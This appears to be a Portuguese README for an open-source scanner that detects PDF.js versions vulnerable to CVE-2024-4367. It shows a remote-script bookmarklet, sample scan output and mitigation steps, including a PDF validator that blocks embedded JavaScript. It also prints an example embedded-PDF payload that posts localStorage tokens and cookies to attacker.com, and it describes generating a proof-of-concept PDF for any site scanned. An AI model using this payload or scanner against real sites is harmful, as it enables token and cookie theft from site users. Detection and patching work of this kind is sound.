javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Abra qualquer site e execute o script

┌─────────────────────────────────────────────────────────────┐
│                    FLUXO DO PROCESSO DE VARREDURA           │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 CARREGAR SCRIPTS                                     │
│     ├─ Scripts externos (todos <script src="">)            │
│     └─ Scripts inline (todas as tags <script>)              │
│                                                             │
│  2. 🔍 EXTRAIR VERSÃO DO PDF.JS                             │
│     ├─ Correspondência de padrões no código                 │
│     ├─ Detecção de Package.json                             │
│     └─ Análise de caminhos em Node_modules                  │
│                                                             │
│  3. 🎯 IDENTIFICAR VULNERABILIDADE                          │
│     ├─ versão < 4.2.67 ? → VULNERÁVEL                      │
│     └─ versão = 2.16.105 ? → VULNERÁVEL                    │
│                                                             │
│  4. 🖼️ LOCALIZAR VISUALIZADORES                             │
│     ├─ Varredura de elementos DOM                           │
│     └─ Detecção de atributos                               │
│                                                             │
│  5. ⚡ GERAR POC                                            │
│     ├─ Criar PDF de teste                                   │
│     └─ Fornecer link de download                            │
│                                                             │
│  6. 📊 EXIBIR RESULTADOS                                    │
│     ├─ Sobreposição visual                                  │
│     ├─ Relatório no console                                 │
│     └─ Armazenamento em variável global                     │
│                                                             │
└─────────────────────────────────────────────────────────────┘

╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - SCANNER UNIVERSAL PDF.js                        ║
║              Detecta versões vulneráveis do PDF.js e potencial exploração          ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 FASE 1: Varredura de Pacotes JavaScript em busca de PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Encontrados 42 scripts externos
[+] Encontrados 12 scripts inline
   [1/42] Analisando: vendor.bundle.js
      → Indicador PDF.js encontrado: pdfjs-dist
      ✅ Versão do PDF.js encontrada: 2.16.105
      🚨 VULNERÁVEL ao CVE-2024-4367!

🎯 FASE 4: Identificando Vetores de Exploração
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ Parâmetro de URL aceita PDF: file=/documents/report.pdf
   ⚠️ Formulário de upload PDF encontrado

█████████████████████████████████████████████████████████████████████████████████
                          RELATÓRIO FINAL DA VARREDURA
█████████████████████████████████████████████████████████████████████████████████

🚨 VULNERABILIDADE CRÍTICA CONFIRMADA!
   CVE: CVE-2024-4367
   CVSS: 9.8 (CRÍTICO)
   Impacto: Execução Arbitrária de JavaScript

┌─────────────────────────────────────────────────────────────┐
│  RESULTADOS DA VARREDURA CVE-2024-4367                    │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Alvo: example.com                                      │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Vulnerável: SIM                                        │
│  📄 Visualizadores: 3                                      │
│  ⚡ Vetores: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRÍTICO - Atualização Necessária                       │
└─────────────────────────────────────────────────────────────┘

# Para projetos Node.js
npm install pdfjs-dist@latest

# Para uso via CDN
# Atualize para a versão 4.2.67 ou superior

// Defina isso antes de carregar o PDF.js
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

// Validar arquivos PDF antes de renderizar
function validatePDF(file) {
    // Verificar bytes mágicos
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('Arquivo PDF inválido');
    }
    
    // Procurar por JavaScript
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDF contém JavaScript');
    }
}

// PDF JavaScript embutido
this.alert('CVE-2024-4367 Explorado!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

// Versões vulneráveis
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// Versão segura
const SAFE_VERSION = '4.2.67';

git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# Faça suas alterações
# Teste em vários sites
# Envie o PR